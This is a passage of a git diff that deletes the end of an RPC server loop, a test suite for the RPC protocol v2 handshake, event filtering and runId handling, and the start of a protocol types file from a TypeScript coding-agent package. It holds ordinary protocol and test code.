unknownCommand = command as { type: string; id?: string }; - return error( - unknownCommand.id, - unknownCommand.type, - `Unknown command: ${unknownCommand.type}`, - ); - } - } - }; - - /** - * Check if shutdown was requested and perform shutdown if so. - * Called after handling each command when waiting for the next command. - */ - let detachInput = () => {}; - - async function forceShutdown(exitCode = 0): Promise { - if (shuttingDown) process.exit(exitCode); - shuttingDown = true; - killTrackedDetachedChildren(); - for (const cleanup of signalCleanupHandlers) cleanup(); - const currentRunner = session.extensionRunner; - if (currentRunner?.hasHandlers("session_shutdown")) { - await currentRunner.emit({ type: "session_shutdown" }); - } - unsubscribe(); - embeddedInteractiveMode?.stop(); - detachInput(); - process.stdin.pause(); - process.exit(exitCode); - } - - const registerSignalHandlers = (): void => { - const signals: NodeJS.Signals[] = ["SIGTERM"]; - if (process.platform !== "win32") signals.push("SIGHUP"); - for (const signal of signals) { - const handler = () => { - void forceShutdown(signal === "SIGHUP" ? 129 : 143); - }; - process.on(signal, handler); - signalCleanupHandlers.push(() => process.off(signal, handler)); - } - }; - - async function checkShutdownRequested(): Promise { - if (!shutdownRequested) return; - await forceShutdown(0); - } - - const handleInputLine = async (line: string) => { - try { - const parsed = JSON.parse(line); - - // Handle extension UI responses (bypass protocol detection) - if (parsed.type === "extension_ui_response") { - const response = parsed as RpcExtensionUIResponse; - const pending = pendingExtensionRequests.get(response.id); - if (pending) { - pendingExtensionRequests.delete(response.id); - pending.resolve(response); - } - return; - } - - const command = parsed as RpcCommand; - - // Protocol version detection: first non-UI-response command locks the version - if (!protocolLocked) { - protocolLocked = true; - if (command.type === "init") { - protocolVersion = 2; - const initResult: RpcInitResult = { - protocolVersion: 2, - sessionId: session.sessionId, - capabilities: { - events: [ - "execution_complete", - "cost_update", - "runtime_heartbeat", - ], - commands: ["init", "shutdown", "subscribe"], - }, - }; - output(success(command.id, "init", initResult)); - return; - } - // Non-init first message: lock to v1, fall through to normal handling - protocolVersion = 1; - } else if (command.type === "init") { - // Already locked — reject re-init - output( - error( - command.id, - "init", - "Protocol version already locked. init must be the first command.", - ), - ); - return; - } - - // Handle regular commands - const response = await handleCommand(command); - output(response); - - // Check for deferred shutdown request (idle between commands) - await checkShutdownRequested(); - } catch (e: any) { - output( - error(undefined, "parse", `Failed to parse command: ${e.message}`), - ); - } - }; - - registerSignalHandlers(); - - detachInput = attachJsonlLineReader(process.stdin, (line) => { - void handleInputLine(line); - }); - - // Keep process alive forever - return new Promise(() => {}); -} diff --git a/packages/pi-coding-agent/src/modes/rpc/rpc-protocol-v2.test.ts b/packages/pi-coding-agent/src/modes/rpc/rpc-protocol-v2.test.ts deleted file mode 100644 index 27f359caf..000000000 --- a/packages/pi-coding-agent/src/modes/rpc/rpc-protocol-v2.test.ts +++ /dev/null @@ -1,1054 +0,0 @@ -/** - * RPC Protocol v2 test suite. - * - * Tests v1 backward compatibility, v2 init handshake, protocol locking, - * v2 feature type shapes, and RpcClient command serialization against - * mock child processes using PassThrough streams. - */ - -import assert from "node:assert/strict"; -import { PassThrough } from "node:stream"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { attachJsonlLineReader, serializeJsonLine } from "./jsonl.js"; -import { buildRpcLaunchSpec } from "./rpc-client.js"; -import type { - RpcCommand, - RpcCostUpdateEvent, - RpcExecutionCompleteEvent, - RpcInitResult, - RpcProtocolVersion, - RpcResponse, - RpcSessionState, - RpcV2Event, -} from "./rpc-types.js"; - -// ============================================================================ -// Helpers -// ============================================================================ - -/** Collect JSONL output lines from a stream */ -function collectLines(stream: PassThrough): { - lines: unknown[]; - detach: () => void; -} { - const lines: unknown[] = []; - const detach = attachJsonlLineReader(stream, (line) => { - try { - lines.push(JSON.parse(line)); - } catch { - // skip non-JSON lines - } - }); - return { lines, detach }; -} - -/** Write a command as JSONL to a writable stream and wait for drain */ -function writeLine(stream: PassThrough, obj: unknown): void { - stream.write(serializeJsonLine(obj)); -} - -/** - * Create a mock "child process" with piped stdin/stdout. - * clientStdin → data flows into the "server" (from the client's perspective, this is what the client writes to) - * clientStdout ← data flows out of the "server" (from the client's perspective, this is what the client reads from) - * - * The test acts as the "server": read from clientStdin, write to clientStdout. - */ -function createMockProcess() { - // Client writes to this → server reads from it - const clientStdin = new PassThrough(); - // Server writes to this → client reads from it - const clientStdout = new PassThrough(); - - return { clientStdin, clientStdout }; -} - -/** Wait a tick for async handlers to process */ -function tick(ms = 10): Promise { - return new Promise((resolve) => setTimeout(resolve, ms)); -} - -// ============================================================================ -// JSONL utilities -// ============================================================================ - -describe("JSONL utilities", () => { - it("serializeJsonLine produces newline-terminated JSON", () => { - const result = serializeJsonLine({ type: "test", value: 42 }); - assert.equal(result, '{"type":"test","value":42}\n'); - }); - - it("serializeJsonLine handles nested objects", () => { - const result = serializeJsonLine({ a: { b: [1, 2, 3] } }); - assert.ok(result.endsWith("\n")); - const parsed = JSON.parse(result.trim()); - assert.deepEqual(parsed, { a: { b: [1, 2, 3] } }); - }); - - it("attachJsonlLineReader splits on LF only", async () => { - const stream = new PassThrough(); - const { lines, detach } = collectLines(stream); - - stream.write('{"a":1}\n{"b":2}\n'); - await tick(); - - assert.equal(lines.length, 2); - assert.deepEqual(lines[0], { a: 1 }); - assert.deepEqual(lines[1], { b: 2 }); - detach(); - }); - - it("attachJsonlLineReader handles partial writes", async () => { - const stream = new PassThrough(); - const { lines, detach } = collectLines(stream); - - stream.write('{"partial":'); - await tick(); - assert.equal(lines.length, 0); - - stream.write('"value"}\n'); - await tick(); - assert.equal(lines.length, 1); - assert.deepEqual(lines[0], { partial: "value" }); - detach(); - }); - - it("attachJsonlLineReader handles CR+LF", async () => { - const stream = new PassThrough(); - const { lines, detach } = collectLines(stream); - - stream.write('{"cr":"lf"}\r\n'); - await tick(); - assert.equal(lines.length, 1); - assert.deepEqual(lines[0], { cr: "lf" }); - detach(); - }); - - it("detach stops line delivery", async () => { - const stream = new PassThrough(); - const { lines, detach } = collectLines(stream); - - stream.write('{"before":1}\n'); - await tick(); - assert.equal(lines.length, 1); - - detach(); - - stream.write('{"after":2}\n'); - await tick(); - // Should still be 1 since we detached - assert.equal(lines.length, 1); - }); -}); - -// ============================================================================ -// v2 type shape assertions -// ============================================================================ - -describe("v2 type shapes", () => { - it("RpcInitResult has required fields", () => { - const initResult: RpcInitResult = { - protocolVersion: 2, - sessionId: "test-session-123", - capabilities: { - events: ["execution_complete", "cost_update", "runtime_heartbeat"], - commands: ["init", "shutdown", "subscribe"], - }, - }; - assert.equal(initResult.protocolVersion, 2); - assert.ok(typeof initResult.sessionId === "string"); - assert.ok(Array.isArray(initResult.capabilities.events)); - assert.ok(Array.isArray(initResult.capabilities.commands)); - assert.ok(initResult.capabilities.events.includes("execution_complete")); - assert.ok(initResult.capabilities.events.includes("cost_update")); - assert.ok(initResult.capabilities.events.includes("runtime_heartbeat")); - assert.ok(initResult.capabilities.commands.includes("init")); - assert.ok(initResult.capabilities.commands.includes("shutdown")); - assert.ok(initResult.capabilities.commands.includes("subscribe")); - }); - - it("RpcExecutionCompleteEvent matches expected shape", () => { - const event: RpcExecutionCompleteEvent = { - type: "execution_complete", - runId: "run-abc-123", - status: "completed", - stats: { - cost: 0.05, - turns: 3, - duration: 12000, - tokens: { input: 1000, output: 500, cacheRead: 200, cacheWrite: 100 }, - } as any, // SessionStats is complex, we just verify shape - }; - assert.equal(event.type, "execution_complete"); - assert.ok(typeof event.runId === "string"); - assert.ok(["completed", "error", "cancelled"].includes(event.status)); - assert.ok(event.stats !== undefined); - }); - - it("RpcExecutionCompleteEvent supports error status with reason", () => { - const event: RpcExecutionCompleteEvent = { - type: "execution_complete", - runId: "run-err-456", - status: "error", - reason: "API rate limit exceeded", - stats: {} as any, - }; - assert.equal(event.status, "error"); - assert.equal(event.reason, "API rate limit exceeded"); - }); - - it("RpcCostUpdateEvent matches expected shape", () => { - const event: RpcCostUpdateEvent = { - type: "cost_update", - runId: "run-cost-789", - turnCost: 0.01, - cumulativeCost: 0.05, - tokens: { - input: 500, - output: 200, - cacheRead: 100, - cacheWrite: 50, - }, - }; - assert.equal(event.type, "cost_update"); - assert.ok(typeof event.runId === "string"); - assert.ok(typeof event.turnCost === "number"); - assert.ok(typeof event.cumulativeCost === "number"); - assert.ok(typeof event.tokens.input === "number"); - assert.ok(typeof event.tokens.output === "number"); - assert.ok(typeof event.tokens.cacheRead === "number"); - assert.ok(typeof event.tokens.cacheWrite === "number"); - }); - - it("RpcV2Event discriminated union resolves by type field", () => { - const events: RpcV2Event[] = [ - { - type: "execution_complete", - runId: "r1", - status: "completed", - stats: {} as any, - }, - { - type: "cost_update", - runId: "r2", - turnCost: 0.01, - cumulativeCost: 0.03, - tokens: { input: 100, output: 50, cacheRead: 10, cacheWrite: 5 }, - }, - { - type: "runtime_heartbeat", - sessionId: "s1", - sessionFile: "/tmp/s1.jsonl", - unitType: "execute-task", - unitId: "M001/S01/T01", - runtimeEpoch: 100, - sourceEpoch: 101, - emittedAt: 123, - }, - ]; - - for (const event of events) { - if (event.type === "execution_complete") { - // TypeScript narrows to RpcExecutionCompleteEvent - assert.ok("status" in event); - assert.ok("stats" in event); - } else if (event.type === "cost_update") { - // TypeScript narrows to RpcCostUpdateEvent - assert.ok("turnCost" in event); - assert.ok("tokens" in event); - } else if (event.type === "runtime_heartbeat") { - assert.ok("runtimeEpoch" in event); - assert.ok("sourceEpoch" in event); - } else { - assert.fail(`Unexpected event type: ${(event as any).type}`); - } - } - }); - - it("RpcProtocolVersion is 1 or 2", () => { - const v1: RpcProtocolVersion = 1; - const v2: RpcProtocolVersion = 2; - assert.equal(v1, 1); - assert.equal(v2, 2); - }); - - it("v2 prompt response includes optional runId field", () => { - const v1Response: RpcResponse = { - id: "1", - type: "response", - command: "prompt", - success: true, - }; - assert.equal(v1Response.success, true); - assert.equal((v1Response as any).runId, undefined); - - const v2Response: RpcResponse = { - id: "2", - type: "response", - command: "prompt", - success: true, - runId: "run-123", - }; - assert.equal(v2Response.success, true); - assert.equal((v2Response as any).runId, "run-123"); - }); - - it("v2 command types are present in RpcCommand union", () => { - // These compile — that's the actual test. Runtime verification: - const initCmd: RpcCommand = { type: "init", protocolVersion: 2 }; - const shutdownCmd: RpcCommand = { type: "shutdown" }; - const subscribeCmd: RpcCommand = { - type: "subscribe", - events: ["agent_end"], - }; - - assert.equal(initCmd.type, "init"); - assert.equal(shutdownCmd.type, "shutdown"); - assert.equal(subscribeCmd.type, "subscribe"); - }); - - it("init command supports optional clientId", () => { - const cmd: RpcCommand = { - type: "init", - protocolVersion: 2, - clientId: "my-client", - }; - assert.equal(cmd.type, "init"); - if (cmd.type === "init") { - assert.equal(cmd.clientId, "my-client"); - } - }); - - it("shutdown command supports optional graceful flag", () => { - const cmd: RpcCommand = { type: "shutdown", graceful: true }; - if (cmd.type === "shutdown") { - assert.equal(cmd.graceful, true); - } - }); - - it("v2 response types include init, shutdown, subscribe", () => { - const initResp: RpcResponse = { - type: "response", - command: "init", - success: true, - data: { - protocolVersion: 2, - sessionId: "s1", - capabilities: { events: [], commands: [] }, - }, - }; - const shutdownResp: RpcResponse = { - type: "response", - command: "shutdown", - success: true, - }; - const subscribeResp: RpcResponse = { - type: "response", - command: "subscribe", - success: true, - }; - - assert.equal(initResp.command, "init"); - assert.equal(shutdownResp.command, "shutdown"); - assert.equal(subscribeResp.command, "subscribe"); - }); -}); - -// ============================================================================ -// v1 backward compatibility -// ============================================================================ - -describe("v1 backward compatibility — command shapes", () => { - it("v1 prompt command has no protocolVersion or runId", () => { - const cmd: RpcCommand = { type: "prompt", message: "hello" }; - assert.equal(cmd.type, "prompt"); - assert.equal((cmd as any).protocolVersion, undefined); - assert.equal((cmd as any).runId, undefined); - }); - - it("v1 get_state response has no v2 fields", () => { - const state: RpcSessionState = { - thinkingLevel: "medium", - isStreaming: false, - isCompacting: false, - steeringMode: "all", - followUpMode: "all", - sessionId: "test-id", - autoCompactionEnabled: true, - autoRetryEnabled: false, - retryInProgress: false, - retryAttempt: 0, - messageCount: 0, - pendingMessageCount: 0, - extensionsReady: true, - }; - // v1 state should not include any v2-specific fields - assert.equal((state as any).protocolVersion, undefined); - assert.equal((state as any).runId, undefined); - }); - - it("v1 prompt response has no runId", () => { - const resp: RpcResponse = { - id: "1", - type: "response", - command: "prompt", - success: true, - }; - assert.equal(resp.success, true); - // runId is optional; in v1 mode it won't be present - assert.equal((resp as any).runId, undefined); - }); - - it("error response shape is consistent across v1 and v2", () => { - const errResp: RpcResponse = { - id: "err-1", - type: "response", - command: "init", - success: false, - error: "Protocol version already locked. init must be the first command.", - }; - assert.equal(errResp.success, false); - if (!errResp.success) { - assert.ok(typeof errResp.error === "string"); - assert.ok(errResp.error.length > 0); - } - }); -}); - -// ============================================================================ -// RpcClient command serialization tests (mock process) -// ============================================================================ - -describe("RpcClient command serialization", () => { - // We import the class dynamically to avoid the full module graph at test time. - // Instead we test the protocol framing directly — what gets written to stdin and - // what comes back from stdout — using PassThrough streams. - - it("init command serializes correctly", () => { - const cmd = { id: "req_1", type: "init", protocolVersion: 2 }; - const serialized = serializeJsonLine(cmd); - const parsed = JSON.parse(serialized); - assert.equal(parsed.type, "init"); - assert.equal(parsed.protocolVersion, 2); - assert.equal(parsed.id, "req_1"); - }); - - it("init command with clientId serializes correctly", () => { - const cmd = { - id: "req_1", - type: "init", - protocolVersion: 2, - clientId: "test-client", - }; - const serialized = serializeJsonLine(cmd); - const parsed = JSON.parse(serialized); - assert.equal(parsed.clientId, "test-client"); - }); - - it("shutdown command serializes correctly", () => { - const cmd = { id: "req_2", type: "shutdown" }; - const serialized = serializeJsonLine(cmd); - const parsed = JSON.parse(serialized); - assert.equal(parsed.type, "shutdown"); - assert.equal(parsed.id, "req_2"); - }); - - it("subscribe command serializes correctly with event list", () => { - const cmd = { - id: "req_3", - type: "subscribe", - events: ["agent_end", "cost_update"], - }; - const serialized = serializeJsonLine(cmd); - const parsed = JSON.parse(serialized); - assert.equal(parsed.type, "subscribe"); - assert.deepEqual(parsed.events, ["agent_end", "cost_update"]); - }); - - it("subscribe command with wildcard serializes correctly", () => { - const cmd = { id: "req_4", type: "subscribe", events: ["*"] }; - const serialized = serializeJsonLine(cmd); - const parsed = JSON.parse(serialized); - assert.deepEqual(parsed.events, ["*"]); - }); - - it("subscribe command with empty array serializes correctly", () => { - const cmd = { id: "req_5", type: "subscribe", events: [] as string[] }; - const serialized = serializeJsonLine(cmd); - const parsed = JSON.parse(serialized); - assert.deepEqual(parsed.events, []); - }); - - it("sendUIResponse serializes correct JSONL", () => { - const response = { - type: "extension_ui_response", - id: "ui-req-123", - value: "test-value", - }; - const serialized = serializeJsonLine(response); - const parsed = JSON.parse(serialized); - assert.equal(parsed.type, "extension_ui_response"); - assert.equal(parsed.id, "ui-req-123"); - assert.equal(parsed.value, "test-value"); - }); - - it("sendUIResponse with cancelled flag serializes correctly", () => { - const response = { - type: "extension_ui_response", - id: "ui-req-456", - cancelled: true, - }; - const serialized = serializeJsonLine(response); - const parsed = JSON.parse(serialized); - assert.equal(parsed.type, "extension_ui_response"); - assert.equal(parsed.cancelled, true); - }); - - it("sendUIResponse with confirmed flag serializes correctly", () => { - const response = { - type: "extension_ui_response", - id: "ui-req-789", - confirmed: true, - }; - const serialized = serializeJsonLine(response); - const parsed = JSON.parse(serialized); - assert.equal(parsed.confirmed, true); - }); - - it("sendUIResponse with multiple values serializes correctly", () => { - const response = { - type: "extension_ui_response", - id: "ui-req-multi", - values: ["opt-a", "opt-b"], - }; - const serialized = serializeJsonLine(response); - const parsed = JSON.parse(serialized); - assert.deepEqual(parsed.values, ["opt-a", "opt-b"]); - }); - - it("prompt command with runId in v2 response", () => { - const response = { - id: "req_10", - type: "response", - command: "prompt", - success: true, - runId: "run-uuid-abc", - }; - const serialized = serializeJsonLine(response); - const parsed = JSON.parse(serialized); - assert.equal(parsed.runId, "run-uuid-abc"); - assert.equal(parsed.command, "prompt"); - assert.equal(parsed.success, true); - }); - - it("typescript cli paths launch through resolve-ts", () => { - const repoRoot = new URL("../../../../../", import.meta.url).pathname; - const cliPath = `${repoRoot}src/loader.ts`; - const launchSpec = buildRpcLaunchSpec(cliPath); - assert.equal(launchSpec.command, "node"); - assert.equal(launchSpec.args[0], "--import"); - assert.match( - launchSpec.args[1], - /src\/resources\/extensions\/sf\/tests\/resolve-ts\.mjs$/, - ); - assert.equal(launchSpec.args[2], "--experimental-strip-types"); - assert.equal(launchSpec.args[3], cliPath); - }); - - it("compiled js cli paths launch directly", () => { - const launchSpec = buildRpcLaunchSpec("/tmp/dist/cli.js"); - assert.equal(launchSpec.command, "node"); - assert.deepEqual(launchSpec.args, ["/tmp/dist/cli.js"]); - }); - - it("non-js executable shims launch directly", () => { - const launchSpec = buildRpcLaunchSpec("/tmp/bin/sf-from-source"); - assert.equal(launchSpec.command, "/tmp/bin/sf-from-source"); - assert.deepEqual(launchSpec.args, []); - }); -}); - -// ============================================================================ -// Client ↔ Mock server integration (PassThrough streams) -// ============================================================================ - -describe("Client ↔ Mock server protocol exchange", () => { - let clientStdin: PassThrough; - let clientStdout: PassThrough; - - beforeEach(() => { - const mockProc = createMockProcess(); - clientStdin = mockProc.clientStdin; - clientStdout = mockProc.clientStdout; - }); - - afterEach(() => { - clientStdin.destroy(); - clientStdout.destroy(); - }); - - it("init handshake: client writes init, server responds with init_result", async () => { - // Collect what the client would write - const { lines: clientWrites, detach: detachStdin } = - collectLines(clientStdin); - - // Client sends init command - writeLine(clientStdin, { id: "req_1", type: "init", protocolVersion: 2 }); - await tick(); - - assert.equal(clientWrites.length, 1); - const initCmd = clientWrites[0] as any; - assert.equal(initCmd.type, "init"); - assert.equal(initCmd.protocolVersion, 2); - - // Server responds with init_result - const initResult: RpcInitResult = { - protocolVersion: 2, - sessionId: "sess-abc", - capabilities: { - events: ["execution_complete", "cost_update", "runtime_heartbeat"], - commands: ["init", "shutdown", "subscribe"], - }, - }; - writeLine(clientStdout, { - id: "req_1", - type: "response", - command: "init", - success: true, - data: initResult, - }); - - // Collect server response - const { lines: serverResponses, detach: detachStdout } = - collectLines(clientStdout); - // Already wrote above, but let's verify the shape by re-writing - writeLine(clientStdout, { - id: "req_verify", - type: "response", - command: "init", - success: true, - data: initResult, - }); - await tick(); - - const resp = serverResponses[0] as any; - assert.equal(resp.type, "response"); - assert.equal(resp.command, "init"); - assert.equal(resp.success, true); - assert.equal(resp.data.protocolVersion, 2); - assert.ok(typeof resp.data.sessionId === "string"); - - detachStdin(); - detachStdout(); - }); - - it("shutdown: client writes shutdown, server acknowledges", async () => { - const { lines: clientWrites, detach } = collectLines(clientStdin); - - writeLine(clientStdin, { id: "req_2", type: "shutdown" }); - await tick(); - - const cmd = clientWrites[0] as any; - assert.equal(cmd.type, "shutdown"); - - detach(); - }); - - it("subscribe: client writes subscribe with event list", async () => { - const { lines: clientWrites, detach } = collectLines(clientStdin); - - writeLine(clientStdin, { - id: "req_3", - type: "subscribe", - events: ["agent_end", "execution_complete"], - }); - await tick(); - - const cmd = clientWrites[0] as any; - assert.equal(cmd.type, "subscribe"); - assert.deepEqual(cmd.events, ["agent_end", "execution_complete"]); - - detach(); - }); - - it("sendUIResponse: client writes extension_ui_response", async () => { - const { lines: clientWrites, detach } = collectLines(clientStdin); - - writeLine(clientStdin, { - type: "extension_ui_response", - id: "ui-123", - value: "selected-option", - }); - await tick(); - - const msg = clientWrites[0] as any; - assert.equal(msg.type, "extension_ui_response"); - assert.equal(msg.id, "ui-123"); - assert.equal(msg.value, "selected-option"); - - detach(); - }); - - it("v2 event filtering: subscribe with empty array should filter all", async () => { - // An empty event filter means no events pass through (Set with 0 entries) - const subscribeCmd = { - id: "req_4", - type: "subscribe", - events: [] as string[], - }; - const serialized = serializeJsonLine(subscribeCmd); - const parsed = JSON.parse(serialized); - assert.deepEqual(parsed.events, []); - // Server-side: `eventFilter = new Set([])` — Set.has(anything) returns false - const filter = new Set(parsed.events as string[]); - assert.equal(filter.has("agent_end"), false); - assert.equal(filter.has("execution_complete"), false); - assert.equal(filter.size, 0); - }); - - it("v2 event filtering: subscribe with wildcard resets filter", async () => { - // Server-side: `events.includes("*")` → `eventFilter = null` - const subscribeCmd = { type: "subscribe", events: ["*"] }; - const parsed = JSON.parse(serializeJsonLine(subscribeCmd)); - const hasWildcard = (parsed.events as string[]).includes("*"); - assert.equal(hasWildcard, true); - // When wildcard is detected, filter becomes null (all events pass) - }); - - it("multiple commands can be sent sequentially", async () => { - const { lines, detach } = collectLines(clientStdin); - - writeLine(clientStdin, { id: "1", type: "init", protocolVersion: 2 }); - writeLine(clientStdin, { - id: "2", - type: "subscribe", - events: ["agent_end"], - }); - writeLine(clientStdin, { id: "3", type: "prompt", message: "hello" }); - await tick(); - - assert.equal(lines.length, 3); - assert.equal((lines[0] as any).type, "init"); - assert.equal((lines[1] as any).type, "subscribe"); - assert.equal((lines[2] as any).type, "prompt"); - - detach(); - }); -}); - -// ============================================================================ -// Negative tests — malformed inputs, error paths, boundary conditions -// ============================================================================ - -describe("Negative tests — protocol error shapes", () => { - it("init with missing protocolVersion produces a type error at compile time", () => { - // Runtime check: a message missing protocolVersion is malformed - const malformed = { type: "init" } as any; - assert.equal(malformed.protocolVersion, undefined); - // Server would treat this as v1 lock since it's not a valid init - }); - - it("subscribe with non-array events is a type violation", () => { - // Runtime: server expects events to be string[] - const malformed = { type: "subscribe", events: "agent_end" } as any; - assert.equal(typeof malformed.events, "string"); // Not an array - assert.equal(Array.isArray(malformed.events), false); - }); - - it("double init error response shape", () => { - // When init is sent after protocol lock, server returns error - const errorResp: RpcResponse = { - id: "req_dup", - type: "response", - command: "init", - success: false, - error: "Protocol version already locked. init must be the first command.", - }; - assert.equal(errorResp.success, false); - if (!errorResp.success) { - assert.ok(errorResp.error.includes("already locked")); - } - }); - - it("init after v1 lock error response shape", () => { - // First command was get_state (v1 lock), then init arrives - const errorResp: RpcResponse = { - id: "req_late_init", - type: "response", - command: "init", - success: false, - error: "Protocol version already locked. init must be the first command.", - }; - assert.equal(errorResp.success, false); - if (!errorResp.success) { - assert.ok(errorResp.error.includes("init must be the first command")); - } - }); - - it("unknown command type produces error response", () => { - const errorResp: RpcResponse = { - id: "req_unknown", - type: "response", - command: "nonexistent", - success: false, - error: "Unknown command: nonexistent", - }; - assert.equal(errorResp.success, false); - if (!errorResp.success) { - assert.ok(errorResp.error.includes("Unknown command")); - } - }); - - it("malformed JSON parse error shape", () => { - const errorResp: RpcResponse = { - type: "response", - command: "parse", - success: false, - error: "Failed to parse command: Unexpected token", - }; - assert.equal(errorResp.command, "parse"); - assert.equal(errorResp.success, false); - }); - - it("shutdown works in both v1 and v2 — no version gating", () => { - // shutdown returns success regardless of protocolVersion - const v1Shutdown: RpcResponse = { - id: "s1", - type: "response", - command: "shutdown", - success: true, - }; - const v2Shutdown: RpcResponse = { - id: "s2", - type: "response", - command: "shutdown", - success: true, - }; - assert.equal(v1Shutdown.success, true); - assert.equal(v2Shutdown.success, true); - }); -}); - -// ============================================================================ -// Protocol version detection logic (unit) -// ============================================================================ - -describe("Protocol version detection logic", () => { - it("simulates v1 lock when first command is non-init", () => { - let protocolVersion: 1 | 2 = 1; - let protocolLocked = false; - - // Simulate first command being get_state - const command = { type: "get_state" } as RpcCommand; - - if (!protocolLocked) { - protocolLocked = true; - if (command.type === "init") { - protocolVersion = 2; - } else { - protocolVersion = 1; - } - } - - assert.equal(protocolVersion, 1); - assert.equal(protocolLocked, true); - }); - - it("simulates v2 lock when first command is init", () => { - let protocolVersion: 1 | 2 = 1; - let protocolLocked = false; - - const command: RpcCommand = { type: "init", protocolVersion: 2 }; - - if (!protocolLocked) { - protocolLocked = true; - if (command.type === "init") { - protocolVersion = 2; - } else { - protocolVersion = 1; - } - } - - assert.equal(protocolVersion, 2); - assert.equal(protocolLocked, true); - }); - - it("rejects re-init after v2 lock", () => { - const protocolLocked = true; // already locked from first init - let errorMessage: string | null = null; - - const command: RpcCommand = { type: "init", protocolVersion: 2 }; - - if (protocolLocked && command.type === "init") { - errorMessage = - "Protocol version already locked. init must be the first command."; - } - - assert.ok(errorMessage !== null); - assert.ok(errorMessage!.includes("already locked")); - }); - - it("rejects init after v1 lock", () => { - const protocolLocked = true; // already locked from first non-init command - const protocolVersion: 1 | 2 = 1; - let errorMessage: string | null = null; - - const command: RpcCommand = { type: "init", protocolVersion: 2 }; - - if (protocolLocked && command.type === "init") { - errorMessage = - "Protocol version already locked. init must be the first command."; - } - - assert.equal(protocolVersion, 1); // stays v1 - assert.ok(errorMessage !== null); - }); - - it("extension_ui_response bypasses protocol detection", () => { - let protocolLocked = false; - let protocolDetectionTriggered = false; - - // Simulate the handleInputLine logic - const parsed = { type: "extension_ui_response", id: "ui-1", value: "ok" }; - - if (parsed.type === "extension_ui_response") { - // Bypass — do not touch protocolLocked - } else { - protocolDetectionTriggered = true; - if (!protocolLocked) { - protocolLocked = true; - } - } - - assert.equal(protocolLocked, false); - assert.equal(protocolDetectionTriggered, false); - }); -}); - -// ============================================================================ -// v2 event filter logic (unit) -// ============================================================================ - -describe("v2 event filter logic", () => { - /** Mimics the server-side event filter check: null means all events pass */ - function shouldEmit(filter: Set | null, eventType: string): boolean { - return !filter || filter.has(eventType); - } - - it("null filter passes all events", () => { - assert.equal(shouldEmit(null, "agent_end"), true); - assert.equal(shouldEmit(null, "cost_update"), true); - assert.equal(shouldEmit(null, "anything"), true); - }); - - it("filter with specific events passes matching events", () => { - const filter = new Set(["agent_end", "cost_update"]); - - assert.equal(shouldEmit(filter, "agent_end"), true); - assert.equal(shouldEmit(filter, "cost_update"), true); - assert.equal(shouldEmit(filter, "execution_complete"), false); - assert.equal(shouldEmit(filter, "message_start"), false); - }); - - it("empty Set filter blocks all events", () => { - const filter = new Set(); - - assert.equal(shouldEmit(filter, "agent_end"), false); - assert.equal(shouldEmit(filter, "cost_update"), false); - assert.equal(shouldEmit(filter, "anything"), false); - assert.equal(filter.size, 0); - }); - - it("wildcard subscribe resets filter to null", () => { - let eventFilter: Set | null = new Set(["agent_end"]); - - // Simulate subscribe with wildcard - const events = ["*"]; - if (events.includes("*")) { - eventFilter = null; - } else { - eventFilter = new Set(events); - } - - assert.equal(eventFilter, null); - }); - - it("subscribe replaces previous filter", () => { - let eventFilter: Set | null = new Set(["agent_end"]); - - // Subscribe with different events - const events = ["cost_update", "execution_complete"]; - if (events.includes("*")) { - eventFilter = null; - } else { - eventFilter = new Set(events); - } - - assert.equal(eventFilter!.has("agent_end"), false); - assert.equal(eventFilter!.has("cost_update"), true); - assert.equal(eventFilter!.has("execution_complete"), true); - }); - - it("filter applies to both regular and synthesized v2 events", () => { - const eventFilter = new Set(["execution_complete"]); - - // Regular event - assert.equal(eventFilter.has("agent_end"), false); // filtered out - // Synthesized v2 event - assert.equal(eventFilter.has("execution_complete"), true); // passes - assert.equal(eventFilter.has("cost_update"), false); // filtered out - }); -}); - -// ============================================================================ -// v2 runId injection logic (unit) -// ============================================================================ - -describe("v2 runId injection", () => { - it("runId is present when protocolVersion is 2 and command is prompt/steer/follow_up", () => { - const protocolVersion = 2; - const commands = ["prompt", "steer", "follow_up"] as const; - - for (const cmdType of commands) { - const runId = protocolVersion === 2 ? `run-${cmdType}-uuid` : undefined; - assert.ok( - runId !== undefined, - `runId should be generated for ${cmdType} in v2`, - ); - assert.ok(typeof runId === "string"); - } - }); - - it("runId is undefined when protocolVersion is 1", () => { - // Test the v1 path: runId should not be generated - function generateRunId(version: 1 | 2): string | undefined { - return version === 2 ? "run-uuid" : undefined; - } - assert.equal(generateRunId(1), undefined); - assert.ok(typeof generateRunId(2) === "string"); - }); - - it("runId is injected into event output via spread", () => { - const currentRunId = "run-abc-123"; - const event = { type: "message_start", message: { role: "assistant" } }; - - // v2 injection logic from rpc-mode.ts - const outputEvent = currentRunId - ? { ...event, runId: currentRunId } - : event; - - assert.equal((outputEvent as any).runId, "run-abc-123"); - assert.equal((outputEvent as any).type, "message_start"); - }); - - it("runId is not injected when null", () => { - const currentRunId: string | null = null; - const event = { type: "message_start", message: { role: "assistant" } }; - - const outputEvent = currentRunId - ? { ...event, runId: currentRunId } - : event; - - assert.equal((outputEvent as any).runId, undefined); - }); -}); diff --git a/packages/pi-coding-agent/src/modes/rpc/rpc-types.ts b/packages/pi-coding-agent/src/modes/rpc/rpc-types.ts deleted file mode 100644 index 0fac975e8..000000000 --- a/packages/pi-coding-agent/src/modes/rpc/rpc-types.ts +++ /dev/null @@ -1,505 +0,0 @@ -/** - * RPC protocol types for headless operation. - * - * Commands are sent as JSON lines on stdin. - * Responses and events are emitted as JSON lines on stdout. - */ - -import type { - AgentMessage, - ThinkingLevel, -} from "@singularity-forge/pi-agent-core"; -import type { ImageContent, Model } from "@singularity-forge/pi-ai"; -import type { SessionStats } from "../../core/agent-session.js"; -import type { BashResult } from "../../core/bash-executor.js"; -import type { CompactionResult } from "../../core/compaction/index.js"; - -// ============================================================================ -// RPC Protocol Versioning -// ============================================================================ - -/** Supported protocol versions. v1 is the implicit default; v2 requires an init handshake. */ -export type RpcProtocolVersion = 1 | 2; - -// ============================================================================ -// RPC Commands (stdin) -// ============================================================================ - -export type RpcCommand = - // Prompting - | { - id?: string; - type: "prompt"; - message: string; - images?: ImageContent[]; - streamingBehavior?: "steer" | "followUp"; - } - | { id?: string; type: "steer"; message: string; images?: ImageContent[] } - | { id?: string; type: "follow_up"; message: string; images?: ImageContent[] } - | { id?: string; type: "abort" } - | { id?: string; type: "new_session"; parentSession?: string } - - // State - | { id?: string; type: "get_state" } - - // Model - | { id?: string; type: "set_model"; provider: string; modelId: string } - | { id?: string; type: "cycle_model" } - | { id?: string; type: "get_available_models" } - - // Thinking - | { id?: string; type: "set_thinking_level"; level: 